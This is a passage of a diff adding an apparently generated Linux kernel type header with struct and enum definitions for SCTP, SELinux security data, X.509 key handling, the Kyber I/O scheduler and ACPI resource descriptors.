spp_ipv6_flowlabel; + __u8 spp_dscp; + int: 0; +} __attribute__((packed)); + +struct sctphdr { + __be16 source; + __be16 dest; + __be32 vtag; + __le32 checksum; +}; + +struct sctp_chunkhdr { + __u8 type; + __u8 flags; + __be16 length; +}; + +enum sctp_cid { + SCTP_CID_DATA = 0, + SCTP_CID_INIT = 1, + SCTP_CID_INIT_ACK = 2, + SCTP_CID_SACK = 3, + SCTP_CID_HEARTBEAT = 4, + SCTP_CID_HEARTBEAT_ACK = 5, + SCTP_CID_ABORT = 6, + SCTP_CID_SHUTDOWN = 7, + SCTP_CID_SHUTDOWN_ACK = 8, + SCTP_CID_ERROR = 9, + SCTP_CID_COOKIE_ECHO = 10, + SCTP_CID_COOKIE_ACK = 11, + SCTP_CID_ECN_ECNE = 12, + SCTP_CID_ECN_CWR = 13, + SCTP_CID_SHUTDOWN_COMPLETE = 14, + SCTP_CID_AUTH = 15, + SCTP_CID_I_DATA = 64, + SCTP_CID_FWD_TSN = 192, + SCTP_CID_ASCONF = 193, + SCTP_CID_I_FWD_TSN = 194, + SCTP_CID_ASCONF_ACK = 128, + SCTP_CID_RECONF = 130, + SCTP_CID_PAD = 132, +}; + +struct sctp_paramhdr { + __be16 type; + __be16 length; +}; + +enum sctp_param { + SCTP_PARAM_HEARTBEAT_INFO = 256, + SCTP_PARAM_IPV4_ADDRESS = 1280, + SCTP_PARAM_IPV6_ADDRESS = 1536, + SCTP_PARAM_STATE_COOKIE = 1792, + SCTP_PARAM_UNRECOGNIZED_PARAMETERS = 2048, + SCTP_PARAM_COOKIE_PRESERVATIVE = 2304, + SCTP_PARAM_HOST_NAME_ADDRESS = 2816, + SCTP_PARAM_SUPPORTED_ADDRESS_TYPES = 3072, + SCTP_PARAM_ECN_CAPABLE = 128, + SCTP_PARAM_RANDOM = 640, + SCTP_PARAM_CHUNKS = 896, + SCTP_PARAM_HMAC_ALGO = 1152, + SCTP_PARAM_SUPPORTED_EXT = 2176, + SCTP_PARAM_FWD_TSN_SUPPORT = 192, + SCTP_PARAM_ADD_IP = 448, + SCTP_PARAM_DEL_IP = 704, + SCTP_PARAM_ERR_CAUSE = 960, + SCTP_PARAM_SET_PRIMARY = 1216, + SCTP_PARAM_SUCCESS_REPORT = 1472, + SCTP_PARAM_ADAPTATION_LAYER_IND = 1728, + SCTP_PARAM_RESET_OUT_REQUEST = 3328, + SCTP_PARAM_RESET_IN_REQUEST = 3584, + SCTP_PARAM_RESET_TSN_REQUEST = 3840, + SCTP_PARAM_RESET_RESPONSE = 4096, + SCTP_PARAM_RESET_ADD_OUT_STREAMS = 4352, + SCTP_PARAM_RESET_ADD_IN_STREAMS = 4608, +}; + +struct sctp_datahdr { + __be32 tsn; + __be16 stream; + __be16 ssn; + __u32 ppid; +}; + +struct sctp_idatahdr { + __be32 tsn; + __be16 stream; + __be16 reserved; + __be32 mid; + union { + __u32 ppid; + __be32 fsn; + }; + __u8 payload[0]; +}; + +struct sctp_inithdr { + __be32 init_tag; + __be32 a_rwnd; + __be16 num_outbound_streams; + __be16 num_inbound_streams; + __be32 initial_tsn; +}; + +struct sctp_ipv4addr_param { + struct sctp_paramhdr param_hdr; + struct in_addr addr; +}; + +struct sctp_ipv6addr_param { + struct sctp_paramhdr param_hdr; + struct in6_addr addr; +}; + +struct sctp_cookie_preserve_param { + struct sctp_paramhdr param_hdr; + __be32 lifespan_increment; +}; + +struct sctp_hostname_param { + struct sctp_paramhdr param_hdr; + uint8_t hostname[0]; +}; + +struct sctp_supported_addrs_param { + struct sctp_paramhdr param_hdr; + __be16 types[0]; +}; + +struct sctp_adaptation_ind_param { + struct sctp_paramhdr param_hdr; + __be32 adaptation_ind; +}; + +struct sctp_supported_ext_param { + struct sctp_paramhdr param_hdr; + __u8 chunks[0]; +}; + +struct sctp_random_param { + struct sctp_paramhdr param_hdr; + __u8 random_val[0]; +}; + +struct sctp_chunks_param { + struct sctp_paramhdr param_hdr; + __u8 chunks[0]; +}; + +struct sctp_hmac_algo_param { + struct sctp_paramhdr param_hdr; + __be16 hmac_ids[0]; +}; + +struct sctp_cookie_param { + struct sctp_paramhdr p; + __u8 body[0]; +}; + +struct sctp_sackhdr { + __be32 cum_tsn_ack; + __be32 a_rwnd; + __be16 num_gap_ack_blocks; + __be16 num_dup_tsns; +}; + +struct sctp_heartbeathdr { + struct sctp_paramhdr info; +}; + +struct sctp_shutdownhdr { + __be32 cum_tsn_ack; +}; + +struct sctp_errhdr { + __be16 cause; + __be16 length; +}; + +struct sctp_ecnehdr { + __be32 lowest_tsn; +}; + +struct sctp_cwrhdr { + __be32 lowest_tsn; +}; + +struct sctp_fwdtsn_hdr { + __be32 new_cum_tsn; +}; + +struct sctp_ifwdtsn_hdr { + __be32 new_cum_tsn; +}; + +struct sctp_addip_param { + struct sctp_paramhdr param_hdr; + __be32 crr_id; +}; + +struct sctp_addiphdr { + __be32 serial; +}; + +struct sctp_authhdr { + __be16 shkey_id; + __be16 hmac_id; +}; + +struct sctp_auth_bytes { + refcount_t refcnt; + __u32 len; + __u8 data[0]; +}; + +struct sctp_shared_key { + struct list_head key_list; + struct sctp_auth_bytes *key; + refcount_t refcnt; + __u16 key_id; + __u8 deactivated; +}; + +enum { + SCTP_MAX_STREAM = 65535, +}; + +enum sctp_event_timeout { + SCTP_EVENT_TIMEOUT_NONE = 0, + SCTP_EVENT_TIMEOUT_T1_COOKIE = 1, + SCTP_EVENT_TIMEOUT_T1_INIT = 2, + SCTP_EVENT_TIMEOUT_T2_SHUTDOWN = 3, + SCTP_EVENT_TIMEOUT_T3_RTX = 4, + SCTP_EVENT_TIMEOUT_T4_RTO = 5, + SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD = 6, + SCTP_EVENT_TIMEOUT_HEARTBEAT = 7, + SCTP_EVENT_TIMEOUT_RECONF = 8, + SCTP_EVENT_TIMEOUT_PROBE = 9, + SCTP_EVENT_TIMEOUT_SACK = 10, + SCTP_EVENT_TIMEOUT_AUTOCLOSE = 11, +}; + +enum { + SCTP_MAX_DUP_TSNS = 16, +}; + +enum sctp_scope { + SCTP_SCOPE_GLOBAL = 0, + SCTP_SCOPE_PRIVATE = 1, + SCTP_SCOPE_LINK = 2, + SCTP_SCOPE_LOOPBACK = 3, + SCTP_SCOPE_UNUSABLE = 4, +}; + +enum { + SCTP_AUTH_HMAC_ID_RESERVED_0 = 0, + SCTP_AUTH_HMAC_ID_SHA1 = 1, + SCTP_AUTH_HMAC_ID_RESERVED_2 = 2, + SCTP_AUTH_HMAC_ID_SHA256 = 3, + __SCTP_AUTH_HMAC_MAX = 4, +}; + +struct sctp_ulpevent { + struct sctp_association *asoc; + struct sctp_chunk *chunk; + unsigned int rmem_len; + union { + __u32 mid; + __u16 ssn; + }; + union { + __u32 ppid; + __u32 fsn; + }; + __u32 tsn; + __u32 cumtsn; + __u16 stream; + __u16 flags; + __u16 msg_flags; +} __attribute__((packed)); + +union sctp_addr_param; + +union sctp_params { + void *v; + struct sctp_paramhdr *p; + struct sctp_cookie_preserve_param *life; + struct sctp_hostname_param *dns; + struct sctp_cookie_param *cookie; + struct sctp_supported_addrs_param *sat; + struct sctp_ipv4addr_param *v4; + struct sctp_ipv6addr_param *v6; + union sctp_addr_param *addr; + struct sctp_adaptation_ind_param *aind; + struct sctp_supported_ext_param *ext; + struct sctp_random_param *random; + struct sctp_chunks_param *chunks; + struct sctp_hmac_algo_param *hmac_algo; + struct sctp_addip_param *addip; +}; + +struct sctp_sender_hb_info; + +struct sctp_signed_cookie; + +struct sctp_datamsg; + +struct sctp_chunk { + struct list_head list; + refcount_t refcnt; + int sent_count; + union { + struct list_head transmitted_list; + struct list_head stream_list; + }; + struct list_head frag_list; + struct sk_buff *skb; + union { + struct sk_buff *head_skb; + struct sctp_shared_key *shkey; + }; + union sctp_params param_hdr; + union { + __u8 *v; + struct sctp_datahdr *data_hdr; + struct sctp_inithdr *init_hdr; + struct sctp_sackhdr *sack_hdr; + struct sctp_heartbeathdr *hb_hdr; + struct sctp_sender_hb_info *hbs_hdr; + struct sctp_shutdownhdr *shutdown_hdr; + struct sctp_signed_cookie *cookie_hdr; + struct sctp_ecnehdr *ecne_hdr; + struct sctp_cwrhdr *ecn_cwr_hdr; + struct sctp_errhdr *err_hdr; + struct sctp_addiphdr *addip_hdr; + struct sctp_fwdtsn_hdr *fwdtsn_hdr; + struct sctp_authhdr *auth_hdr; + struct sctp_idatahdr *idata_hdr; + struct sctp_ifwdtsn_hdr *ifwdtsn_hdr; + } subh; + __u8 *chunk_end; + struct sctp_chunkhdr *chunk_hdr; + struct sctphdr *sctp_hdr; + struct sctp_sndrcvinfo sinfo; + struct sctp_association *asoc; + struct sctp_ep_common *rcvr; + long unsigned int sent_at; + union sctp_addr source; + union sctp_addr dest; + struct sctp_datamsg *msg; + struct sctp_transport *transport; + struct sk_buff *auth_chunk; + __u16 rtt_in_progress: 1; + __u16 has_tsn: 1; + __u16 has_ssn: 1; + __u16 singleton: 1; + __u16 end_of_packet: 1; + __u16 ecn_ce_done: 1; + __u16 pdiscard: 1; + __u16 tsn_gap_acked: 1; + __u16 data_accepted: 1; + __u16 auth: 1; + __u16 has_asconf: 1; + __u16 pmtu_probe: 1; + __u16 tsn_missing_report: 2; + __u16 fast_retransmit: 2; +}; + +struct sctp_stream_interleave { + __u16 data_chunk_len; + __u16 ftsn_chunk_len; + struct sctp_chunk * (*make_datafrag)(const struct sctp_association *, const struct sctp_sndrcvinfo *, int, __u8, gfp_t); + void (*assign_number)(struct sctp_chunk *); + bool (*validate_data)(struct sctp_chunk *); + int (*ulpevent_data)(struct sctp_ulpq *, struct sctp_chunk *, gfp_t); + int (*enqueue_event)(struct sctp_ulpq *, struct sctp_ulpevent *); + void (*renege_events)(struct sctp_ulpq *, struct sctp_chunk *, gfp_t); + void (*start_pd)(struct sctp_ulpq *, gfp_t); + void (*abort_pd)(struct sctp_ulpq *, gfp_t); + void (*generate_ftsn)(struct sctp_outq *, __u32); + bool (*validate_ftsn)(struct sctp_chunk *); + void (*report_ftsn)(struct sctp_ulpq *, __u32); + void (*handle_ftsn)(struct sctp_ulpq *, struct sctp_chunk *); +}; + +struct sctp_bind_bucket { + short unsigned int port; + signed char fastreuse; + signed char fastreuseport; + kuid_t fastuid; + struct hlist_node node; + struct hlist_head owner; + struct net *net; +}; + +struct sctp_bind_hashbucket { + spinlock_t lock; + struct hlist_head chain; +}; + +struct sctp_hashbucket { + rwlock_t lock; + struct hlist_head chain; +}; + +struct sctp_globals { + struct list_head address_families; + struct sctp_hashbucket *ep_hashtable; + struct sctp_bind_hashbucket *port_hashtable; + struct rhltable transport_hashtable; + int ep_hashsize; + int port_hashsize; + __u16 max_instreams; + __u16 max_outstreams; + bool checksum_disable; +}; + +enum sctp_socket_type { + SCTP_SOCKET_UDP = 0, + SCTP_SOCKET_UDP_HIGH_BANDWIDTH = 1, + SCTP_SOCKET_TCP = 2, +}; + +struct crypto_shash; + +struct sctp_pf; + +struct sctp_sock { + struct inet_sock inet; + enum sctp_socket_type type; + long: 0; + struct sctp_pf *pf; + struct crypto_shash *hmac; + char *sctp_hmac_alg; + struct sctp_endpoint *ep; + struct sctp_bind_bucket *bind_hash; + __u16 default_stream; + int: 0; + __u32 default_ppid; + __u16 default_flags; + int: 0; + __u32 default_context; + __u32 default_timetolive; + __u32 default_rcv_context; + int max_burst; + __u32 hbinterval; + __u32 probe_interval; + __be16 udp_port; + __be16 encap_port; + __u16 pathmaxrxt; + int: 0; + __u32 flowlabel; + __u8 dscp; + short: 0; + __u16 pf_retrans; + __u16 ps_retrans; + long: 0; + __u32 pathmtu; + __u32 sackdelay; + __u32 sackfreq; + __u32 param_flags; + __u32 default_ss; + struct sctp_rtoinfo rtoinfo; + struct sctp_paddrparams paddrparam; + struct sctp_assocparams assocparams; + __u16 subscribe; + struct sctp_initmsg initmsg; + long: 0; + int user_frag; + __u32 autoclose; + __u32 adaptation_ind; + __u32 pd_point; + __u16 nodelay: 1; + __u16 pf_expose: 2; + __u16 reuse: 1; + __u16 disable_fragments: 1; + __u16 v4mapped: 1; + __u16 frag_interleave: 1; + __u16 recvrcvinfo: 1; + __u16 recvnxtinfo: 1; + __u16 data_ready_signalled: 1; + int: 0; + atomic_t pd_mode; + struct sk_buff_head pd_lobby; + struct list_head auto_asconf_list; + int do_auto_asconf; +} __attribute__((packed)); + +struct sctp_af; + +struct sctp_pf { + void (*event_msgname)(struct sctp_ulpevent *, char *, int *); + void (*skb_msgname)(struct sk_buff *, char *, int *); + int (*af_supported)(sa_family_t, struct sctp_sock *); + int (*cmp_addr)(const union sctp_addr *, const union sctp_addr *, struct sctp_sock *); + int (*bind_verify)(struct sctp_sock *, union sctp_addr *); + int (*send_verify)(struct sctp_sock *, union sctp_addr *); + int (*supported_addrs)(const struct sctp_sock *, __be16 *); + struct sock * (*create_accept_sk)(struct sock *, struct sctp_association *, bool); + int (*addr_to_user)(struct sctp_sock *, union sctp_addr *); + void (*to_sk_saddr)(union sctp_addr *, struct sock *); + void (*to_sk_daddr)(union sctp_addr *, struct sock *); + void (*copy_ip_options)(struct sock *, struct sock *); + struct sctp_af *af; +}; + +struct sctp_endpoint { + struct sctp_ep_common base; + struct hlist_node node; + int hashent; + struct list_head asocs; + __u8 secret_key[32]; + __u8 *digest; + __u32 sndbuf_policy; + __u32 rcvbuf_policy; + struct crypto_shash **auth_hmacs; + struct sctp_hmac_algo_param *auth_hmacs_list; + struct sctp_chunks_param *auth_chunk_list; + struct list_head endpoint_shared_keys; + __u16 active_key_id; + __u8 ecn_enable: 1; + __u8 auth_enable: 1; + __u8 intl_enable: 1; + __u8 prsctp_enable: 1; + __u8 asconf_enable: 1; + __u8 reconf_enable: 1; + __u8 strreset_enable; + struct callback_head rcu; +}; + +struct sctp_signed_cookie { + __u8 signature[32]; + __u32 __pad; + struct sctp_cookie c; +} __attribute__((packed)); + +union sctp_addr_param { + struct sctp_paramhdr p; + struct sctp_ipv4addr_param v4; + struct sctp_ipv6addr_param v6; +}; + +struct sctp_sender_hb_info { + struct sctp_paramhdr param_hdr; + union sctp_addr daddr; + long unsigned int sent_at; + __u64 hb_nonce; + __u32 probe_size; +}; + +struct sctp_af { + int (*sctp_xmit)(struct sk_buff *, struct sctp_transport *); + int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); + int (*getsockopt)(struct sock *, int, int, char *, int *); + void (*get_dst)(struct sctp_transport *, union sctp_addr *, struct flowi *, struct sock *); + void (*get_saddr)(struct sctp_sock *, struct sctp_transport *, struct flowi *); + void (*copy_addrlist)(struct list_head *, struct net_device *); + int (*cmp_addr)(const union sctp_addr *, const union sctp_addr *); + void (*addr_copy)(union sctp_addr *, union sctp_addr *); + void (*from_skb)(union sctp_addr *, struct sk_buff *, int); + void (*from_sk)(union sctp_addr *, struct sock *); + bool (*from_addr_param)(union sctp_addr *, union sctp_addr_param *, __be16, int); + int (*to_addr_param)(const union sctp_addr *, union sctp_addr_param *); + int (*addr_valid)(union sctp_addr *, struct sctp_sock *, const struct sk_buff *); + enum sctp_scope (*scope)(union sctp_addr *); + void (*inaddr_any)(union sctp_addr *, __be16); + int (*is_any)(const union sctp_addr *); + int (*available)(union sctp_addr *, struct sctp_sock *); + int (*skb_iif)(const struct sk_buff *); + int (*skb_sdif)(const struct sk_buff *); + int (*is_ce)(const struct sk_buff *); + void (*seq_dump_addr)(struct seq_file *, union sctp_addr *); + void (*ecn_capable)(struct sock *); + __u16 net_header_len; + int sockaddr_len; + int (*ip_options_len)(struct sock *); + sa_family_t sa_family; + struct list_head list; +}; + +struct sctp_packet { + __u16 source_port; + __u16 destination_port; + __u32 vtag; + struct list_head chunk_list; + size_t overhead; + size_t size; + size_t max_size; + struct sctp_transport *transport; + struct sctp_chunk *auth; + u8 has_cookie_echo: 1; + u8 has_sack: 1; + u8 has_auth: 1; + u8 has_data: 1; + u8 ipfragok: 1; +}; + +struct sctp_transport { + struct list_head transports; + struct rhlist_head node; + refcount_t refcnt; + __u32 rto_pending: 1; + __u32 hb_sent: 1; + __u32 pmtu_pending: 1; + __u32 dst_pending_confirm: 1; + __u32 sack_generation: 1; + u32 dst_cookie; + struct flowi fl; + union sctp_addr ipaddr; + struct sctp_af *af_specific; + struct sctp_association *asoc; + long unsigned int rto; + __u32 rtt; + __u32 rttvar; + __u32 srtt; + __u32 cwnd; + __u32 ssthresh; + __u32 partial_bytes_acked; + __u32 flight_size; + __u32 burst_limited; + struct dst_entry *dst; + union sctp_addr saddr; + long unsigned int hbinterval; + long unsigned int probe_interval; + long unsigned int sackdelay; + __u32 sackfreq; + atomic_t mtu_info; + ktime_t last_time_heard; + long unsigned int last_time_sent; + long unsigned int last_time_ecne_reduced; + __be16 encap_port; + __u16 pathmaxrxt; + __u32 flowlabel; + __u8 dscp; + __u16 pf_retrans; + __u16 ps_retrans; + __u32 pathmtu; + __u32 param_flags; + int init_sent_count; + int state; + short unsigned int error_count; + struct timer_list T3_rtx_timer; + struct timer_list hb_timer; + struct timer_list proto_unreach_timer; + struct timer_list reconf_timer; + struct timer_list probe_timer; + struct list_head transmitted; + struct sctp_packet packet; + struct list_head send_ready; + struct { + __u32 next_tsn_at_change; + char changeover_active; + char cycling_changeover; + char cacc_saw_newack; + } cacc; + struct { + __u16 pmtu; + __u16 probe_size; + __u16 probe_high; + __u8 probe_count; + __u8 state; + } pl; + __u64 hb_nonce; + struct callback_head rcu; +}; + +struct sctp_datamsg { + struct list_head chunks; + refcount_t refcnt; + long unsigned int expires_at; + int send_error; + u8 send_failed: 1; + u8 can_delay: 1; + u8 abandoned: 1; +}; + +struct sctp_stream_priorities { + struct list_head prio_sched; + struct list_head active; + struct sctp_stream_out_ext *next; + __u16 prio; + __u16 users; +}; + +struct sctp_stream_out_ext { + __u64 abandoned_unsent[3]; + __u64 abandoned_sent[3]; + struct list_head outq; + union { + struct { + struct list_head prio_list; + struct sctp_stream_priorities *prio_head; + }; + struct { + struct list_head rr_list; + }; + struct { + struct list_head fc_list; + __u32 fc_length; + __u16 fc_weight; + }; + }; +}; + +struct lsm_network_audit { + int netif; + const struct sock *sk; + u16 family; + __be16 dport; + __be16 sport; + union { + struct { + __be32 daddr; + __be32 saddr; + } v4; + struct { + struct in6_addr daddr; + struct in6_addr saddr; + } v6; + } fam; +}; + +struct lsm_ioctlop_audit { + struct path path; + u16 cmd; +}; + +struct lsm_ibpkey_audit { + u64 subnet_prefix; + u16 pkey; +}; + +struct lsm_ibendport_audit { + const char *dev_name; + u8 port; +}; + +struct selinux_audit_data { + u32 ssid; + u32 tsid; + u16 tclass; + u32 requested; + u32 audited; + u32 denied; + int result; +}; + +struct common_audit_data { + char type; + union { + struct path path; + struct dentry *dentry; + struct inode *inode; + struct lsm_network_audit *net; + int cap; + int ipc_id; + struct task_struct *tsk; + struct { + key_serial_t key; + char *key_desc; + } key_struct; + char *kmod_name; + struct lsm_ioctlop_audit *op; + struct file *file; + struct lsm_ibpkey_audit *ibpkey; + struct lsm_ibendport_audit *ibendport; + int reason; + const char *anonclass; + } u; + union { + struct selinux_audit_data *selinux_audit_data; + }; +}; + +struct av_decision { + u32 allowed; + u32 auditallow; + u32 auditdeny; + u32 seqno; + u32 flags; +}; + +struct task_security_struct { + u32 osid; + u32 sid; + u32 exec_sid; + u32 create_sid; + u32 keycreate_sid; + u32 sockcreate_sid; +}; + +enum label_initialized { + LABEL_INVALID = 0, + LABEL_INITIALIZED = 1, + LABEL_PENDING = 2, +}; + +struct inode_security_struct { + struct inode *inode; + struct list_head list; + u32 task_sid; + u32 sid; + u16 sclass; + unsigned char initialized; + spinlock_t lock; +}; + +struct file_security_struct { + u32 sid; + u32 fown_sid; + u32 isid; + u32 pseqno; +}; + +struct superblock_security_struct { + u32 sid; + u32 def_sid; + u32 mntpoint_sid; + short unsigned int behavior; + short unsigned int flags; + struct mutex lock; + struct list_head isec_head; + spinlock_t isec_lock; +}; + +struct msg_security_struct { + u32 sid; +}; + +struct ipc_security_struct { + u16 sclass; + u32 sid; +}; + +struct sk_security_struct { + enum { + NLBL_UNSET = 0, + NLBL_REQUIRE = 1, + NLBL_LABELED = 2, + NLBL_REQSKB = 3, + NLBL_CONNLABELED = 4, + } nlbl_state; + struct netlbl_lsm_secattr *nlbl_secattr; + u32 sid; + u32 peer_sid; + u16 sclass; + enum { + SCTP_ASSOC_UNSET = 0, + SCTP_ASSOC_SET = 1, + } sctp_assoc_state; +}; + +struct tun_security_struct { + u32 sid; +}; + +struct key_security_struct { + u32 sid; +}; + +struct bpf_security_struct { + u32 sid; +}; + +struct perf_event_security_struct { + u32 sid; +}; + +struct security_class_mapping { + const char *name; + const char *perms[33]; +}; + +struct selinux_mnt_opts { + u32 fscontext_sid; + u32 context_sid; + u32 rootcontext_sid; + u32 defcontext_sid; +}; + +enum { + Opt_error = -1, + Opt_context = 0, + Opt_defcontext = 1, + Opt_fscontext = 2, + Opt_rootcontext = 3, + Opt_seclabel = 4, +}; + +enum x509_akid_actions { + ACT_x509_akid_note_kid = 0, + ACT_x509_akid_note_name = 1, + ACT_x509_akid_note_serial = 2, + ACT_x509_extract_name_segment___2 = 3, + ACT_x509_note_OID___2 = 4, + NR__x509_akid_actions = 5, +}; + +enum asymmetric_payload_bits { + asym_crypto = 0, + asym_subtype = 1, + asym_key_ids = 2, + asym_auth = 3, +}; + +struct asymmetric_key_ids { + void *id[3]; +}; + +struct asymmetric_key_subtype { + struct module *owner; + const char *name; + short unsigned int name_len; + void (*describe)(const struct key *, struct seq_file *); + void (*destroy)(void *, void *); + int (*query)(const struct kernel_pkey_params *, struct kernel_pkey_query *); + int (*eds_op)(struct kernel_pkey_params *, const void *, void *); + int (*verify_signature)(const struct key *, const struct public_key_signature *); +}; + +struct asymmetric_key_parser { + struct list_head link; + struct module *owner; + const char *name; + int (*parse)(struct key_preparsed_payload *); +}; + +enum blacklist_hash_type { + BLACKLIST_HASH_X509_TBS = 1, + BLACKLIST_HASH_BINARY = 2, +}; + +struct pkcs7_message; + +enum { + GENHD_FL_REMOVABLE = 1, + GENHD_FL_HIDDEN = 2, + GENHD_FL_NO_PART = 4, +}; + +typedef bool (*sb_for_each_fn)(struct sbitmap *, unsigned int, void *); + +struct sbq_wait { + struct sbitmap_queue *sbq; + struct wait_queue_entry wait; +}; + +struct elevator_type; + +struct elevator_queue { + struct elevator_type *type; + void *elevator_data; + struct kobject kobj; + struct mutex sysfs_lock; + long unsigned int flags; + struct hlist_head hash[64]; +}; + +typedef unsigned int blk_insert_t; + +struct blk_mq_alloc_data { + struct request_queue *q; + blk_mq_req_flags_t flags; + unsigned int shallow_depth; + blk_opf_t cmd_flags; + req_flags_t rq_flags; + unsigned int nr_tags; + struct request **cached_rq; + struct blk_mq_ctx *ctx; + struct blk_mq_hw_ctx *hctx; +}; + +enum elv_merge { + ELEVATOR_NO_MERGE = 0, + ELEVATOR_FRONT_MERGE = 1, + ELEVATOR_BACK_MERGE = 2, + ELEVATOR_DISCARD_MERGE = 3, +}; + +struct elevator_mq_ops { + int (*init_sched)(struct request_queue *, struct elevator_type *); + void (*exit_sched)(struct elevator_queue *); + int (*init_hctx)(struct blk_mq_hw_ctx *, unsigned int); + void (*exit_hctx)(struct blk_mq_hw_ctx *, unsigned int); + void (*depth_updated)(struct blk_mq_hw_ctx *); + bool (*allow_merge)(struct request_queue *, struct request *, struct bio *); + bool (*bio_merge)(struct request_queue *, struct bio *, unsigned int); + int (*request_merge)(struct request_queue *, struct request **, struct bio *); + void (*request_merged)(struct request_queue *, struct request *, enum elv_merge); + void (*requests_merged)(struct request_queue *, struct request *, struct request *); + void (*limit_depth)(blk_opf_t, struct blk_mq_alloc_data *); + void (*prepare_request)(struct request *); + void (*finish_request)(struct request *); + void (*insert_requests)(struct blk_mq_hw_ctx *, struct list_head *, blk_insert_t); + struct request * (*dispatch_request)(struct blk_mq_hw_ctx *); + bool (*has_work)(struct blk_mq_hw_ctx *); + void (*completed_request)(struct request *, u64); + void (*requeue_request)(struct request *); + struct request * (*former_request)(struct request_queue *, struct request *); + struct request * (*next_request)(struct request_queue *, struct request *); + void (*init_icq)(struct io_cq *); + void (*exit_icq)(struct io_cq *); +}; + +struct elv_fs_entry; + +struct elevator_type { + struct kmem_cache *icq_cache; + struct elevator_mq_ops ops; + size_t icq_size; + size_t icq_align; + struct elv_fs_entry *elevator_attrs; + const char *elevator_name; + const char *elevator_alias; + const unsigned int elevator_features; + struct module *elevator_owner; + const struct blk_mq_debugfs_attr *queue_debugfs_attrs; + const struct blk_mq_debugfs_attr *hctx_debugfs_attrs; + char icq_cache_name[22]; + struct list_head list; +}; + +struct elv_fs_entry { + struct attribute attr; + ssize_t (*show)(struct elevator_queue *, char *); + ssize_t (*store)(struct elevator_queue *, const char *, size_t); +}; + +struct trace_event_raw_kyber_latency { + struct trace_entry ent; + dev_t dev; + char domain[16]; + char type[8]; + u8 percentile; + u8 numerator; + u8 denominator; + unsigned int samples; + char __data[0]; +}; + +struct trace_event_raw_kyber_adjust { + struct trace_entry ent; + dev_t dev; + char domain[16]; + unsigned int depth; + char __data[0]; +}; + +struct trace_event_raw_kyber_throttled { + struct trace_entry ent; + dev_t dev; + char domain[16]; + char __data[0]; +}; + +struct trace_event_data_offsets_kyber_latency {}; + +struct trace_event_data_offsets_kyber_adjust {}; + +struct trace_event_data_offsets_kyber_throttled {}; + +typedef void (*btf_trace_kyber_latency)(void *, dev_t, const char *, const char *, unsigned int, unsigned int, unsigned int, unsigned int); + +typedef void (*btf_trace_kyber_adjust)(void *, dev_t, const char *, unsigned int); + +typedef void (*btf_trace_kyber_throttled)(void *, dev_t, const char *); + +enum { + KYBER_READ = 0, + KYBER_WRITE = 1, + KYBER_DISCARD = 2, + KYBER_OTHER = 3, + KYBER_NUM_DOMAINS = 4, +}; + +enum { + KYBER_ASYNC_PERCENT = 75, +}; + +enum { + KYBER_LATENCY_SHIFT = 2, + KYBER_GOOD_BUCKETS = 4, + KYBER_LATENCY_BUCKETS = 8, +}; + +enum { + KYBER_TOTAL_LATENCY = 0, + KYBER_IO_LATENCY = 1, +}; + +struct kyber_cpu_latency { + atomic_t buckets[48]; +}; + +struct kyber_ctx_queue { + spinlock_t lock; + struct list_head rq_list[4]; +}; + +struct kyber_queue_data { + struct request_queue *q; + dev_t dev; + struct sbitmap_queue domain_tokens[4]; + unsigned int async_depth; + struct kyber_cpu_latency *cpu_latency; + struct timer_list timer; + unsigned int latency_buckets[48]; + long unsigned int latency_timeout[3]; + int domain_p99[3]; + u64 latency_targets[3]; +}; + +struct kyber_hctx_data { + spinlock_t lock; + struct list_head rqs[4]; + unsigned int cur_domain; + unsigned int batching; + struct kyber_ctx_queue *kcqs; + struct sbitmap kcq_map[4]; + struct sbq_wait domain_wait[4]; + struct sbq_wait_state *domain_ws[4]; + atomic_t wait_index[4]; +}; + +struct flush_kcq_data { + struct kyber_hctx_data *khd; + unsigned int sched_domain; + struct list_head *list; +}; + +typedef mpi_limb_t UWtype; + +typedef unsigned int UHWtype; + +struct sg_pool { + size_t size; + char *name; + struct kmem_cache *slab; + mempool_t *pool; +}; + +struct apd_private_data; + +struct apd_device_desc { + unsigned int fixed_clk_rate; + struct property_entry *properties; + int (*setup)(struct apd_private_data *); +}; + +struct apd_private_data { + struct clk *clk; + struct acpi_device *adev; + const struct apd_device_desc *dev_desc; +}; + +struct acpi_lpat { + int temp; + int raw; +}; + +struct acpi_lpat_conversion_table { + struct acpi_lpat *lpat; + int lpat_count; +}; + +struct acpi_signal_fatal_info { + u32 type; + u32 code; + u32 argument; +}; + +struct aml_resource_small_header { + u8 descriptor_type; +}; + +struct aml_resource_irq { + u8 descriptor_type; + u16 irq_mask; + u8 flags; +} __attribute__((packed)); + +struct aml_resource_dma { + u8 descriptor_type; + u8 dma_channel_mask; + u8 flags; +}; + +struct aml_resource_start_dependent { + u8 descriptor_type; + u8 flags; +}; + +struct aml_resource_end_dependent { + u8 descriptor_type; +}; + +struct aml_resource_io { + u8 descriptor_type; + u8 flags; + u16 minimum; + u16 maximum; + u8 alignment; + u8 address_length; +}; + +struct aml_resource_fixed_io { + u8 descriptor_type; + u16 address; + u8 address_length; +} __attribute__((packed)); + +struct aml_resource_vendor_small { + u8 descriptor_type; +}; + +struct aml_resource_end_tag { + u8 descriptor_type; + u8 checksum; +}; + +struct aml_resource_fixed_dma { + u8 descriptor_type; + u16 request_lines; + u16 channels; + u8 width; +} __attribute__((packed)); + +struct aml_resource_large_header { + u8 descriptor_type; + u16 resource_length; +} __attribute__((packed)); + +struct aml_resource_memory24 { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u16 minimum; + u16 maximum; + u16 alignment; + u16 address_length; +} __attribute__((packed)); + +struct aml_resource_vendor_large { + u8 descriptor_type; + u16 resource_length; +} __attribute__((packed)); + +struct aml_resource_memory32 { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u32 minimum; + u32 maximum; + u32 alignment; + u32 address_length; +} __attribute__((packed)); + +struct aml_resource_fixed_memory32 { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u32 address; + u32 address_length; +} __attribute__((packed)); + +struct aml_resource_address { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; +} __attribute__((packed)); + +struct aml_resource_extended_address64 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u8 revision_ID; + u8 reserved; + u64 granularity; + u64 minimum; + u64 maximum; + u64 translation_offset; + u64 address_length; + u64 type_specific; +} __attribute__((packed)); + +struct aml_resource_address64 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u64 granularity; + u64 minimum; + u64 